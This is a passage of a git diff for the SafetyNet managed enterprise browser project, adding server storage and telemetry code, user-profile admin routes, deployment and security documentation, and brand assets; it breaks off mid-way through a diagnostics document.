} from '../../packages/core/policy.mjs'; +import { recordSecurityEvent } from './telemetry.mjs'; +import { evaluateSigma } from '../../packages/core/security.mjs'; +import { signBookmarkSnapshot } from '../../packages/core/bookmarks.mjs'; +import {applyUserProfiles} from '../../packages/core/user-profiles.mjs'; +import {applyPolicyGroups} from '../../packages/core/policy-groups.mjs'; +export const token = () => randomBytes(32).toString('base64url'); +export const digest = value => createHash('sha256').update(value).digest('hex'); +export function openStore(directory) { + mkdirSync(directory,{recursive:true,mode:0o700}); + const db = new DatabaseSync(join(directory,'safetynet.sqlite')); + db.exec(`PRAGMA journal_mode=WAL; PRAGMA foreign_keys=ON; + CREATE TABLE IF NOT EXISTS settings(key TEXT PRIMARY KEY,value TEXT NOT NULL); + CREATE TABLE IF NOT EXISTS devices(id TEXT PRIMARY KEY,name TEXT,platform TEXT,user TEXT,token_hash TEXT UNIQUE,revoked INTEGER DEFAULT 0,last_seen TEXT,policy_version INTEGER DEFAULT 0); + CREATE TABLE IF NOT EXISTS enrollments(hash TEXT PRIMARY KEY,expires INTEGER,user TEXT); + CREATE TABLE IF NOT EXISTS events(id INTEGER PRIMARY KEY AUTOINCREMENT,time TEXT,device_id TEXT,kind TEXT,metadata TEXT); + CREATE TABLE IF NOT EXISTS sessions(hash TEXT PRIMARY KEY,expires INTEGER,principal TEXT); + CREATE TABLE IF NOT EXISTS management_session_handles(handle TEXT PRIMARY KEY,session_hash TEXT UNIQUE REFERENCES sessions(hash) ON DELETE CASCADE); + CREATE TABLE IF NOT EXISTS logins(state TEXT PRIMARY KEY,expires INTEGER,verifier TEXT,nonce TEXT,ticket TEXT); + CREATE TABLE IF NOT EXISTS tickets(id TEXT PRIMARY KEY,secret_hash TEXT,expires INTEGER,credential TEXT); + CREATE TABLE IF NOT EXISTS policies(version INTEGER PRIMARY KEY,time TEXT,actor TEXT,policy TEXT); + CREATE TABLE IF NOT EXISTS policy_group_history(version INTEGER PRIMARY KEY REFERENCES policies(version),groups TEXT NOT NULL); + CREATE TABLE IF NOT EXISTS device_events(device_id TEXT,event_id TEXT,PRIMARY KEY(device_id,event_id)); + CREATE TABLE IF NOT EXISTS teaching(id TEXT PRIMARY KEY,time TEXT,actor TEXT,label TEXT,status TEXT,reference TEXT,reviewer TEXT,policy_version INTEGER); + CREATE TABLE IF NOT EXISTS bookmarks(device_id TEXT PRIMARY KEY REFERENCES devices(id),revision INTEGER NOT NULL,items TEXT NOT NULL); + CREATE TABLE IF NOT EXISTS alerts(id INTEGER PRIMARY KEY AUTOINCREMENT,event_id INTEGER,rule_id TEXT,level TEXT,time TEXT); + `); + if(!db.prepare('PRAGMA table_info(devices)').all().some(c=>c.name==='document_analysis_enabled'))db.exec('ALTER TABLE devices ADD COLUMN document_analysis_enabled INTEGER'); + if(!db.prepare('PRAGMA table_info(devices)').all().some(c=>c.name==='verified_subject'))db.exec('ALTER TABLE devices ADD COLUMN verified_subject TEXT'); + db.exec('CREATE TABLE IF NOT EXISTS user_profile_history(version INTEGER PRIMARY KEY REFERENCES policies(version),configuration TEXT NOT NULL)'); + const getRaw=key=>{const r=db.prepare('SELECT value FROM settings WHERE key=?').get(key);return r?JSON.parse(r.value):null;}; + const get = key => {const value=getRaw(key);return key==='policy'&&value?PolicySchema.parse(value):value;}; + const put = (key,value) => db.prepare('INSERT INTO settings VALUES(?,?) ON CONFLICT(key) DO UPDATE SET value=excluded.value').run(key,JSON.stringify(value)); + if(!get('keys')) {const k=generateKeyPairSync('ed25519'); put('keys',{privateKey:k.privateKey.export({type:'pkcs8',format:'pem'}),publicKey:k.publicKey.export({type:'spki',format:'pem'})});} + if(!getRaw('policy')) {const p=defaultPolicy();put('policy',p);db.prepare('INSERT INTO policies VALUES(?,?,?,?)').run(p.version,new Date().toISOString(),'bootstrap',JSON.stringify(p));} + db.prepare('INSERT OR IGNORE INTO policy_group_history(version,groups) VALUES(?,?)').run(getRaw('policy').version,JSON.stringify(getRaw('policyGroups')||[])); + db.prepare('INSERT OR IGNORE INTO user_profile_history(version,configuration) VALUES(?,?)').run(getRaw('policy').version,JSON.stringify(getRaw('userProfiles')||{profiles:[],categories:[]})); + if(!get('installationId'))put('installationId',token()); + function event(device,kind,metadata) { + const time=new Date().toISOString(),records=[];db.exec('SAVEPOINT security_event'); + try { + const insert=(eventKind,eventMetadata)=>{const result=db.prepare('INSERT INTO events(time,device_id,kind,metadata) VALUES(?,?,?,?)').run(time,device,eventKind,JSON.stringify(eventMetadata));records.push({kind:eventKind,metadata:eventMetadata,id:String(result.lastInsertRowid)});return Number(result.lastInsertRowid);}; + const sourceEventId=insert(kind,metadata); + for(const alert of evaluateSigma({kind,metadata},getRaw('policy')?.security?.sigma?.rules||[])) { + db.prepare('INSERT INTO alerts(event_id,rule_id,level,time) VALUES(?,?,?,?)').run(sourceEventId,alert.ruleId,alert.level,time); + insert('sigma.alert',{ruleId:alert.ruleId,level:alert.level,sourceEventId}); + } + db.exec('RELEASE security_event'); + }catch(error){db.exec('ROLLBACK TO security_event');db.exec('RELEASE security_event');throw error;} + for(const record of records)recordSecurityEvent(record.kind,record.metadata,record.id); + } + function personalBookmarks(deviceId){const row=db.prepare('SELECT revision,items FROM bookmarks WHERE device_id=?').get(deviceId);return row?{revision:row.revision,items:JSON.parse(row.items)}:{revision:0,items:[]};} + function effectivePolicy(deviceId){let p=get('policy');if(deviceId){const d=db.prepare('SELECT document_analysis_enabled FROM devices WHERE id=?').get(deviceId);if(d?.document_analysis_enabled!==null&&d?.document_analysis_enabled!==undefined)p.inspection.documentAnalysisEnabled=!!d.document_analysis_enabled;p=PolicySchema.parse(applyPolicyGroups(applyUserProfiles(p,getRaw('userProfiles')||{},db.prepare('SELECT * FROM devices WHERE id=?').get(deviceId)||{id:deviceId}),getRaw('policyGroups')||[],deviceId));}return p;} + return {db,get,getRaw,put,event,effectivePolicy,personalBookmarks,envelope:deviceId=>{const p=effectivePolicy(deviceId),keys=get('keys'),envelope=signPolicy(p,keys.privateKey);if(deviceId)envelope.bookmarks=signBookmarkSnapshot({deviceId,policyVersion:p.version,...personalBookmarks(deviceId),expiresAt:p.expiresAt},keys.privateKey);return envelope;},publicKey:()=>get('keys').publicKey}; +} + + diff --git a/apps/server/telemetry.mjs b/apps/server/telemetry.mjs new file mode 100644 index 0000000..2f61251 --- /dev/null +++ b/apps/server/telemetry.mjs @@ -0,0 +1,23 @@ +import { NodeSDK } from '@opentelemetry/sdk-node'; +import { OTLPTraceExporter } from '@opentelemetry/exporter-trace-otlp-http'; +import { trace, metrics } from '@opentelemetry/api'; +import { logs } from '@opentelemetry/api-logs'; +import { BatchLogRecordProcessor } from '@opentelemetry/sdk-logs'; +import { OTLPLogExporter } from '@opentelemetry/exporter-logs-otlp-http'; +import { OTLPMetricExporter } from '@opentelemetry/exporter-metrics-otlp-http'; +import { PeriodicExportingMetricReader } from '@opentelemetry/sdk-metrics'; +export function startTelemetry() { + if(!process.env.OTEL_EXPORTER_OTLP_ENDPOINT) return null; + const sdk = new NodeSDK({serviceName:'safetynet-control-plane',traceExporter:new OTLPTraceExporter(), + metricReaders:[new PeriodicExportingMetricReader({exporter:new OTLPMetricExporter(),exportIntervalMillis:10000})], + logRecordProcessors:[new BatchLogRecordProcessor({exporter:new OTLPLogExporter()})]}); + sdk.start(); return sdk; +} +export const tracer=trace.getTracer('safetynet','0.1.0'); +export function recordSecurityEvent(kind,metadata,eventId){ + // Only bounded, allowlisted fields. Never emit body text, rules, vectors or prompts. + const decision=metadata.decision??(kind.includes('block')?'block':'other'); + metrics.getMeter('safetynet').createCounter('safetynet.security.events').add(1,{'event.action':kind,'dlp.decision':decision}); + logs.getLogger('safetynet.security').emit({severityNumber:kind.includes('block')?13:9,severityText:kind.includes('block')?'WARN':'INFO',body:kind, + attributes:{'event.id':eventId,'event.action':kind,'dlp.decision':decision,...(metadata.ruleId?{'rule.id':metadata.ruleId}:{}),...(metadata.policyVersion?{'safetynet.policy.version':metadata.policyVersion}:{})}}); +} diff --git a/apps/server/user-profiles.mjs b/apps/server/user-profiles.mjs new file mode 100644 index 0000000..03d0660 --- /dev/null +++ b/apps/server/user-profiles.mjs @@ -0,0 +1,28 @@ +import {z} from 'zod'; +import {UserProfileSchema,UserProfileConfigurationSchema,DomainCategorySchema,profileApplies,applyUserProfiles} from '../../packages/core/user-profiles.mjs'; +import {PolicySchema} from '../../packages/core/policy.mjs'; +import {applyPolicyGroups} from '../../packages/core/policy-groups.mjs'; +import {policyDiff} from './policy-history.mjs'; +export function profilesForOperation(store,operation={}){ + const c=UserProfileConfigurationSchema.parse(store.getRaw('userProfiles')||{}); + if(operation.type==='profile-restore'||operation.configuration)return UserProfileConfigurationSchema.parse(operation.configuration); + if(operation.type==='profile-upsert'){const p=UserProfileSchema.parse(operation.profile);c.profiles=c.profiles.filter(x=>x.id!==p.id);c.profiles.push(p);} + if(operation.type==='profile-delete')c.profiles=c.profiles.filter(x=>x.id!==operation.profileId); + if(operation.type==='profile-configuration')c.categories=z.array(DomainCategorySchema).max(100).parse(operation.categories); + return c; +} +export function validateProfiles(store,policy,operation={},groups=store.getRaw('policyGroups')||[]){ + const c=profilesForOperation(store,operation),fail=m=>{throw Object.assign(Error(m),{status:409});}; + if(new Set(c.profiles.map(p=>p.id)).size!==c.profiles.length||new Set(c.categories.map(p=>p.id)).size!==c.categories.length)fail('Duplicate profile/category ID'); + for(const p of c.profiles){for(const id of p.blockedCategoryIds)if(!c.categories.some(x=>x.id===id))fail('Unknown domain category');for(const id of p.deviceIds)if(!store.db.prepare('SELECT id FROM devices WHERE id=? AND revoked=0').get(id))fail('Unknown active profile device');} + for(const subject of new Set(c.profiles.flatMap(p=>p.subjects)))PolicySchema.parse(applyUserProfiles(policy,c,{id:'future-enrollment',verified_subject:subject})); + for(const d of store.db.prepare('SELECT * FROM devices WHERE revoked=0').all())PolicySchema.parse(applyPolicyGroups(applyUserProfiles(policy,c,d),groups,d.id)); + return c; +} +export function installUserProfiles(app,store,publisher){ + app.get('/api/admin/user-profiles',(_req,res)=>{const c=profilesForOperation(store),p=store.get('policy');res.json({version:p.version,...c,delegation:{devTools:p.userAccess.delegatableFeatures.devTools},devices:store.db.prepare('SELECT id,name,user,verified_subject,revoked FROM devices').all().map(d=>({id:d.id,name:d.name,revoked:!!d.revoked,subject:d.verified_subject||null,verifiedSubject:!!d.verified_subject,profiles:c.profiles.filter(p=>profileApplies(p,d)).map(p=>p.id)}))});}); + app.post('/api/admin/user-profiles/preview',(req,res)=>{const b=z.object({deviceId:z.string().min(1).max(80),profile:UserProfileSchema.optional()}).strict().parse(req.body),d=store.db.prepare('SELECT * FROM devices WHERE id=? AND revoked=0').get(b.deviceId);if(!d)return res.status(404).json({error:'Active device not found'});const p=store.get('policy'),c=profilesForOperation(store,b.profile?{type:'profile-upsert',profile:b.profile}:{}),policy=PolicySchema.parse(applyPolicyGroups(applyUserProfiles(p,c,d),store.getRaw('policyGroups')||[],d.id));res.json({policy,profiles:policy.assignment.profiles||[],diff:policyDiff(p,policy)});}); + app.put('/api/admin/user-profile-configuration',(req,res)=>{const b=z.object({expectedVersion:z.number().int().positive(),categories:z.array(DomainCategorySchema).max(100),delegation:z.object({devTools:z.boolean()}).strict()}).strict().parse(req.body),p=store.get('policy');if(p.version!==b.expectedVersion)return res.status(409).json({error:'Policy version conflict'});p.version++;p.userAccess.delegatableFeatures.devTools=b.delegation.devTools;publisher.submit(req,res,p,'policy.profile-configuration',{type:'profile-configuration',categories:b.categories});}); + app.put('/api/admin/user-profiles/:id',(req,res)=>{const b=z.object({expectedVersion:z.number().int().positive(),profile:UserProfileSchema}).strict().parse(req.body),p=store.get('policy');if(b.profile.id!==req.params.id)return res.status(400).json({error:'Profile ID mismatch'});if(p.version!==b.expectedVersion)return res.status(409).json({error:'Policy version conflict'});p.version++;publisher.submit(req,res,p,'policy.profile-published',{type:'profile-upsert',profile:b.profile});}); + app.delete('/api/admin/user-profiles/:id',(req,res)=>{const b=z.object({expectedVersion:z.number().int().positive()}).strict().parse(req.body),p=store.get('policy');if(p.version!==b.expectedVersion)return res.status(409).json({error:'Policy version conflict'});p.version++;publisher.submit(req,res,p,'policy.profile-deleted',{type:'profile-delete',profileId:req.params.id});}); +} diff --git a/deploy/ADMIN-MANAGEMENT.md b/deploy/ADMIN-MANAGEMENT.md new file mode 100644 index 0000000..af41a7f --- /dev/null +++ b/deploy/ADMIN-MANAGEMENT.md @@ -0,0 +1,106 @@ +# Central management deployment and operating model + +The administrator interface is a separate web application served by the management +service. The managed browser is a device client, not an administrative trust +boundary. Opening the console in an enterprise browser does not grant permissions: +the backend authenticates the administrator and authorizes every API operation. + +## Deployment topology + +Run the Node management service under a dedicated service identity with access only +to its protected data directory. Bind `HOST=127.0.0.1` and publish it through the +organization's HTTPS reverse proxy on an administrative hostname. Set `PUBLIC_URL` +to that exact HTTPS origin, including the port if applicable. Keep port 4310 off +public interfaces and make administrative access subject to corporate network and +identity controls. The service does not terminate TLS itself. + +Do not add permissive CORS or weaken the existing CSP. Forward the original Origin +header unchanged; origin validation must compare it to `PUBLIC_URL`. The service +uses secure, HTTP-only, SameSite session cookies on HTTPS and does not trust proxy +headers for user identity. Configure the TLS proxy to issue HSTS after the HTTPS +deployment has been validated. Do not use the loopback HTTP development URL for a +remote deployment. + +Register the exact `${PUBLIC_URL}/auth/callback` redirect with the corporate OIDC +provider. Require MFA or phishing-resistant authentication at the identity provider. +Use distinct administrator, operator and auditor groups. An employee's browser +enrollment permission must not grant an administrative role. + +## Deployment credentials and keys + +Supply secrets through protected service configuration rather than frontend files, +URLs or policy documents. Protect the SQLite database, signing keys, backups, ICAPS +client keys and SIEM credentials with service-account ACLs and encrypted storage. +The development `.env` file is not a production secret distribution mechanism. + +Require the protected management channel, and deploy its pinned ML-DSA public key +to browser installations through a trusted endpoint-management channel: + +```text +REQUIRE_PQ_MANAGEMENT_CHANNEL=true +SAFETYNET_REQUIRE_CHANNEL_PIN=true +SAFETYNET_CHANNEL_SIGNATURE_KEY_FILE=C:/ProgramData/SafetyNet/management-public.pem +``` + +This public key is not a secret. Confirm its fingerprint independently of the +browser enrollment response. The custom policy envelope adds application-level +protection over HTTPS; it does not replace TLS, identity verification or independent +cryptographic review. Enrollment, audit and AI endpoints still rely on HTTPS. + +## Operator workflow + +1. Verify fleet last-seen times, policy version distribution, inspector configuration + and SIEM delivery state in the overview. A configured feature is not evidence that + every deployed device has exercised it successfully. +2. Start from a policy template and review its proposed additions. Preserve the + customer's existing proxy, VPN, DNS and ICAPS trust configuration. +3. Edit a draft, review changed policy paths, and publish with the displayed version. + A version conflict requires reloading and reviewing the current policy. +4. Teach document references using authorized source documents. Persisted teaching + features are hashes and, when configured, local vectors; the source document is + not retained. Inspect completeness before approving partial coverage. +5. Validate allowed and blocked transfers with a controlled receiver before enabling + a new detection threshold across a company. A block test alone does not establish + an acceptable false-positive rate. +6. Use managed bookmarks for intranet destinations. User bookmark read/edit access + and user editing permissions are centrally governed and enforced by the backend. +7. Export audit events to the existing SIEM using its supported authenticated + ingestion format. Exercise receiver failure and cursor resumption. + +The present rollout publishes one organization-wide policy. Group assignments, +canary deployment rings, independent approval, SCIM, key rotation and retention +automation remain tracked implementation work; the console must not imply they are +already available. + +## Local inspector containment + +On Windows the inspector applies an unnamed, non-inheritable Job Object before +importing parsers or model code. It limits the complete process tree to four +processes and 4 GiB committed memory, denies breakaway, and terminates descendant +model workers when the inspector exits or is killed. Failure to attach the boundary +fails inspector startup. The browser checks the startup capability declaration. + +The HTTP broker now keeps parsers outside its own process. Each document request +launches a separate AppContainer worker, attests its actual token and zero +capabilities, and exchanges bytes over bounded anonymous pipes. Only its approved +source, Python and local model trees receive read/execute grants for the specific +package SID. Nested jobs terminate leftover model workers. Native probes establish +private-file read denial, runtime write denial, TCP/UDP transmission denial and +child-token inheritance for the tested installation. + +Windows still provides package-private storage and some system resources. Do not +claim that all possible writes or exploit classes are excluded. Protected Program +Files deployments need installer/service-provisioned package-SID ACLs; ordinary +users cannot be expected to change installation DACLs. Runtime preparation and +packaging explicitly provision these ACLs; normal startup only verifies access +and fails closed when permissions are missing. External +or linked runtime/model trees are rejected. Production installer preparation and +independent sandbox bypass testing remain release gates. + +## Release gates + +Track the exhaustive requirement matrix in `docs/requirements-audit.md`. Complete +native transfer coverage and parser isolation, customer integration testing, signed +installers and updates, and an independent security assessment before production +deployment. The unpacked Windows executable is a developer build with required +side resources, not a production installer. diff --git a/deploy/otel-collector.yaml b/deploy/otel-collector.yaml new file mode 100644 index 0000000..fc7ef4d --- /dev/null +++ b/deploy/otel-collector.yaml @@ -0,0 +1,28 @@ +# Local development receiver. For remote deployment, require TLS/mTLS and authentication. +receivers: + otlp: + protocols: + http: + endpoint: 127.0.0.1:4318 +processors: + memory_limiter: + check_interval: 1s + limit_mib: 256 + batch: {} +exporters: + debug: + verbosity: basic +service: + pipelines: + traces: + receivers: [otlp] + processors: [memory_limiter, batch] + exporters: [debug] + metrics: + receivers: [otlp] + processors: [memory_limiter, batch] + exporters: [debug] + logs: + receivers: [otlp] + processors: [memory_limiter, batch] + exporters: [debug] diff --git a/docs/admin-security.md b/docs/admin-security.md new file mode 100644 index 0000000..f8e58c8 --- /dev/null +++ b/docs/admin-security.md @@ -0,0 +1,31 @@ +# Management access and deployment + +Management is a separate web application. Browser enrollment never grants management authority. The server authenticates and authorizes each management endpoint, including personal bookmark routes registered before the general management router. + +## Roles + +Configure exact group names from the verified OIDC groups claim: + +| Environment variable | Role | Authority | +| --- | --- | --- | +| `OIDC_ADMIN_GROUP` | Administrator | Publish policy and teaching references; all management operations | +| `OIDC_OPERATOR_GROUP` | Operator | Read policy/audit, enroll/revoke devices, review/edit personal bookmarks if policy permits, prepare teaching drafts and test integrations; cannot publish policy or change document inspection policy | +| `OIDC_AUDITOR_GROUP` | Auditor | Read overview, policy, security audit and teaching drafts; cannot mutate management state or inspect personal bookmarks | + +Operator and auditor group mappings are disabled until configured. Multiple matching groups use the highest role: administrator, then operator, then auditor. Membership is validated during signed OIDC login. Sessions expire after eight hours; group removal at the identity provider does not yet immediately invalidate an existing session. Administrators can inventory active sessions and immediately revoke existing cookies through the Access & sessions panel. Continuous group synchronization remains production work. Revoking an existing session does not prevent a new login while the identity provider still grants the management group. + +`GET /api/admin/session` and the overview return the normalized role and permission list. The frontend uses these to explain unavailable operations. Backend permission checks remain authoritative: session-supplied permission arrays are ignored, unknown roles are rejected and new endpoints have no access until assigned an explicit permission. + +`GET /api/admin/sessions` returns at most 500 active sessions with opaque random revocation IDs, subject, display name, role and expiry. It never returns credentials or database session hashes. `POST /api/admin/sessions/:id/revoke` accepts an empty object and atomically deletes the session and its handle. Only the administrator's `sessions.manage` permission allows either route. Session review and revocation audit records contain the acting administrator and counts, without target credentials or target identities. + +## Bootstrap and transport + +`ADMIN_TOKEN` is a development credential accepted only with an HTTP loopback `PUBLIC_URL`. Development HTTP startup also rejects a non-loopback bind address. HTTPS management never accepts this shared token. HTTPS server startup requires `OIDC_ISSUER` and `OIDC_CLIENT_ID`, and the protected policy management channel. Configure the reverse proxy to terminate HTTPS and keep the management service bound privately; do not publish the development HTTP listener. + +Cookie sessions use HttpOnly, SameSite=Lax and Secure for HTTPS. Cookie-authenticated mutations and logout require an exact `Origin` match with `PUBLIC_URL`; configure the externally visible canonical origin correctly. Cross-site writes are rejected. Responses have a restrictive same-origin CSP, forbid framing and disable caching. Bearer development fixtures do not need a browser Origin header. + +This implements three application roles and optional mandatory independent policy approval through `REQUIRE_INDEPENDENT_POLICY_APPROVAL`. The author cannot approve its own immutable proposal; all policy publication paths use one publisher. See `policy-review.md`. Restrictive device groups and explicit pilot rollout are implemented in `group-policy-rollout.md`. Dynamic IdP membership, phishing-resistant MFA enforcement, IdP logout/back-channel revocation, HSM custody and independently assessed production deployment remain open. + +## Verification + +The server tests exercise real signed OIDC operator/auditor sessions, direct unauthorized management requests, personal bookmark read denial, policy publication denial, unknown-role rejection, forged session permission rejection, exact-origin cookie writes, remote bootstrap-token rejection, opaque session inventory and immediate session revocation. diff --git a/docs/agent-observability-requirements.md b/docs/agent-observability-requirements.md new file mode 100644 index 0000000..6ecbeed --- /dev/null +++ b/docs/agent-observability-requirements.md @@ -0,0 +1,36 @@ +# First-class agents and forensic observability + +User clarification, 2026-10-13: agents must operate the application as first-class +clients, including tabs, permitted settings and bookmarks. Central administrators +can disable access and limit individual capabilities. Mandatory corporate policy +applies equally to a human and an agent. Generic JavaScript/CDP, cookie extraction +and overriding a centrally locked setting are not alternate control paths. + +Agent authentication must support cryptographic client identity, narrowly scoped +revocable credentials, bounded requests, replay protection and attributable audit. +Current loopback capability tokens and Windows DPAPI are a foundation; delegated +per-agent identities, request proof of possession and individual revocation remain +required work. Full UI automation, history/library, safe screenshots and broader +application capabilities remain separately tracked from the implemented controls. + +Security analysts need enough detail to reconstruct what happened: navigation, +download name/source/hash/scan outcome, click target, copy/cut/paste direction, +initiating tab/agent and the relevant rule and result. Confidentiality alone must +not suppress security-relevant evidence. Passwords and authentication tokens must +never enter logs. URLs, element labels and content may themselves contain secrets; +they need typed redaction and centrally governed evidence collection. + +The security audit and confidential evidence store are distinct from operational +OpenTelemetry. The evidence store must encrypt records, bind them to immutable +event identities, restrict analyst access, log every access, enforce retention and +support incident correlation and SIEM references. Selected relevant content may be +retained by policy; storing entire documents is not required. Existing metadata +events do not satisfy this full forensic requirement. Detailed download records, +human click tracking and controlled content evidence are still to implement. + +OpenTelemetry debug mode must expose correlated spans for IPC, agents, navigation, +network/DNS, document/OCR/YARA/semantic inspection, policy handling and management +requests, including durations and named code stages. Debug collection is centrally +managed, bounded and disableable. Operational spans do not silently become a raw +content or credential archive. Backend tracing and collector/SIEM permissions, +encryption and retention must complete the end-to-end pipeline. diff --git a/docs/audit-retention.md b/docs/audit-retention.md new file mode 100644 index 0000000..9d06527 --- /dev/null +++ b/docs/audit-retention.md @@ -0,0 +1,28 @@ +# Security event retention + +`AUDIT_RETENTION_DAYS=0` disables deletion by default. A deployment administrator +may opt in with 1..3650 days. The server checks hourly and removes at most 500 +eligible database events per pass. It uses the current SIEM exporter's durable +cursor, never a historical destination's cursor. A successful HTTP response means +the receiving SIEM accepted a batch; it is not a guarantee of its archival policy. + +Only expired events already delivered through that cursor are eligible. All +incident source events remain protected, including resolved cases. Sigma +correlations cannot be left pointing at removed source events across a batch +boundary. Related alert rows are removed in the same transaction. The device-event +UUID ledger remains intact, so retransmission cannot recreate expired events. +Policy history, signatures, users and device credentials are outside this job. + +Deletion and its metadata-only audit event commit atomically. A failure rolls +everything back and appears in the administration status. The service account +must protect the SQLite database and backups. Logical deletion does not promise +secure erasure from SQLite pages, WAL files, disks or backups. + +The module exports `pruneAuditEvents(..., {dryRun:true})` for deployment validation. +There is no browser-policy switch or unauthenticated cleanup endpoint. Status in +the admin console is read-only. Retention of incident notes/history, the durable +dedup ledger, local `security.ndjson`/CEF files, external SIEM records and backups +requires a separate lifecycle; this database job does not govern those stores. + +`tests/audit-retention.test.mjs` verifies export and batch boundaries, incident +preservation, replay-ledger preservation, explicit opt-in and transactional failure. diff --git a/docs/brand/README.md b/docs/brand/README.md new file mode 100644 index 0000000..a56d1e4 --- /dev/null +++ b/docs/brand/README.md @@ -0,0 +1,37 @@ +# SafetyNet identity + +SafetyNet is the project and management-platform name. **S Browser** names its managed browser. The visual identity gives a restrained enterprise product a recognizable, approachable symbol: two woven ribbons form an S and an open protective loop. It expresses governed access without implying that security is absolute. + +## Assets + +- `safetynet-lockup.png` — original transparent, AI-generated horizontal lockup, 2068 × 760. Use on white or a very pale neutral surface; the navy wordmark needs contrast. +- `safetynet-readme.png` — same artwork composited on a pale neutral surface for legibility in both light and dark repository viewers. +- `safetynet-icon.png` — 640 × 640 transparent crop of the same original symbol. Suitable for light and dark surfaces. +- `safetynet.ico` — PNG-compressed 256 px Windows icon, exported from the original symbol. +- `export-assets.cjs` — reproducible symbol and ICO export; run `node docs/brand/export-assets.cjs` from the repository root. + +These are raster assets, not a vector master. Do not describe them as SVG or fabricate a redraw. A future vector production pass should preserve the approved mark and inspect small-size legibility. + +## Palette and typography + +| Role | Color | +| --- | --- | +| Ink | `#102449` | +| Action blue | `#1764F5` | +| Teal accent | `#13C8C8` | +| Light canvas | `#F4F7FB` | +| Dark canvas | `#101820` | + +Use system-ui / Segoe UI for interface text. Keep headings concise, with generous spacing and readable contrast. Blue identifies primary actions; teal adds emphasis without becoming a security verdict. Reserve explicit success, warning, and danger colors for actual state. + +## Usage + +Leave clear space of at least one quarter of the symbol width. Preserve the artwork's proportions, transparency, and colors. Use the symbol alone when the wordmark is too small or lacks contrast. White-label deployments can replace identity through their managed branding configuration; this asset does not change policy or security behavior. + +Product screenshots should show the real application. Describe the project as **under heavy development**. Avoid certification seals, promises of total protection, and unverified claims about compliance or production readiness. The mark is original artwork and does not reproduce Apple's logo or Safari compass; no trademark clearance is claimed. + +## Generation provenance + +Created with the built-in Codex ImageGen tool on 2026-10-13 using the Creative Production `produce` logo workflow. A direct Creative Production board capability was not exposed to this worker, so the asset was generated directly and saved into the repository. No external image API key or CLI fallback was used. + +Prompt: “Create one polished original horizontal logo lockup for SafetyNet, an enterprise managed AI browser. Transparent background, clean vector-like graphic suitable for repository README, restrained premium software identity. On left a distinctive standalone geometric S mark made from two interlocking curved ribbons forming a protective open loop / woven safety net, no literal padlock or shield, vivid cobalt blue and cool turquoise, clear strong silhouette readable at small sizes. To right exact wordmark SafetyNet (capital S and N, no space), elegant contemporary dark navy sans-serif medium weight, excellent kerning. Logo centered with generous clear space, wide landscape composition, symbol and wordmark optically aligned. Flat refined geometry, subtle color gradient in symbol only; no glass reflection, no mockup, no badges, no certifications, no extra tagline, no watermark, no Apple logo, no Safari compass. Output an actual transparent PNG logo asset.” diff --git a/docs/brand/export-assets.cjs b/docs/brand/export-assets.cjs new file mode 100644 index 0000000..c56a428 --- /dev/null +++ b/docs/brand/export-assets.cjs @@ -0,0 +1,43 @@ +// Deterministic export of the generated master artwork. No redraw or substitute mark. +const fs = require('node:fs'); +const path = require('node:path'); +const { PNG } = require('pngjs'); +const root = __dirname; +const source = PNG.sync.read(fs.readFileSync(path.join(root, 'safetynet-lockup.png'))); +// A neutral opaque presentation keeps the navy wordmark legible in dark README viewers. +const readme = new PNG({ width: source.width, height: source.height }); +for (let i = 0; i < source.data.length; i += 4) { + const alpha = source.data[i + 3] / 255; + for (let c = 0; c < 3; c++) readme.data[i + c] = Math.round(source.data[i + c] * alpha + 250 * (1 - alpha)); + readme.data[i + 3] = 255; +} +fs.writeFileSync(path.join(root, 'safetynet-readme.png'), PNG.sync.write(readme)); +// The original symbol occupies the first 560 px. Keep its actual transparent edges. +const symbol = new PNG({ width: 640, height: 640 }); +symbol.data.fill(0); +for (let y = 0; y < 640; y++) for (let x = 0; x < 560; x++) { + const from = ((y + 60) * source.width + x) * 4; + source.data.copy(symbol.data, (y * 640 + x + 40) * 4, from, from + 4); +} +fs.writeFileSync(path.join(root, 'safetynet-icon.png'), PNG.sync.write(symbol)); +// PNG-compressed 256px Windows icon with box-filter downsampling. +const icon = new PNG({ width: 256, height: 256 }); +for (let y = 0; y < 256; y++) for (let x = 0; x < 256; x++) { + let a = 0; const rgb = [0, 0, 0]; let n = 0; + for (let sy = Math.floor(y * 2.5); sy < Math.ceil((y + 1) * 2.5); sy++) + for (let sx = Math.floor(x * 2.5); sx < Math.ceil((x + 1) * 2.5); sx++) { + const offset = (sy * 640 + sx) * 4; const alpha = symbol.data[offset + 3]; + a += alpha; n++; + for (let c = 0; c < 3; c++) rgb[c] += symbol.data[offset + c] * alpha; + } + const offset = (y * 256 + x) * 4; + for (let c = 0; c < 3; c++) icon.data[offset + c] = a ? Math.round(rgb[c] / a) : 0; + icon.data[offset + 3] = Math.round(a / n); +} +const encoded = PNG.sync.write(icon); +const header = Buffer.alloc(22); +header.writeUInt16LE(1, 2); header.writeUInt16LE(1, 4); +header.writeUInt16LE(1, 10); header.writeUInt16LE(32, 12); +header.writeUInt32LE(encoded.length, 14); header.writeUInt32LE(22, 18); +fs.writeFileSync(path.join(root, 'safetynet.ico'), Buffer.concat([header, encoded])); +console.log('Exported README presentation, original symbol PNG and 256px Windows ICO.'); diff --git a/docs/brand/safetynet-icon.png b/docs/brand/safetynet-icon.png new file mode 100644 index 0000000..50819f0 Binary files /dev/null and b/docs/brand/safetynet-icon.png differ diff --git a/docs/brand/safetynet-lockup.png b/docs/brand/safetynet-lockup.png new file mode 100644 index 0000000..9c9772a Binary files /dev/null and b/docs/brand/safetynet-lockup.png differ diff --git a/docs/brand/safetynet-readme.png b/docs/brand/safetynet-readme.png new file mode 100644 index 0000000..879374c Binary files /dev/null and b/docs/brand/safetynet-readme.png differ diff --git a/docs/brand/safetynet.ico b/docs/brand/safetynet.ico new file mode 100644 index 0000000..15e2f48 Binary files /dev/null and b/docs/brand/safetynet.ico differ diff --git a/docs/browser-diagnostics.md b/docs/browser-diagnostics.md new file mode 100644 index 0000000..5d6c902 --- /dev/null +++ b/docs/browser-diagnostics.md @@ -0,0 +1,51 @@ +# Browser diagnostics and operational OpenTelemetry + +Browser diagnostics use the actual OpenTelemetry JavaScript trace and log SDKs, exported as OTLP/HTTP JSON to a collector selected in signed company policy. They are distinct from durable security audit and encrypted forensic evidence. This module never sends document fragments, prompts, page text, password fields, access tokens, URLs or generic exception messages to the collector. + +## Central configuration + +`policy.diagnostics` is strict, signed and disabled by default. Only an administrator's normal policy publication workflow can enable, reconfigure or disable it. Endpoint, sampling and resource bounds cannot be changed through website JavaScript or renderer preferences. + +Example: + +```json +{ + "enabled": true, + "mode": "debug", + "endpoint": "http://127.0.0.1:4318", + 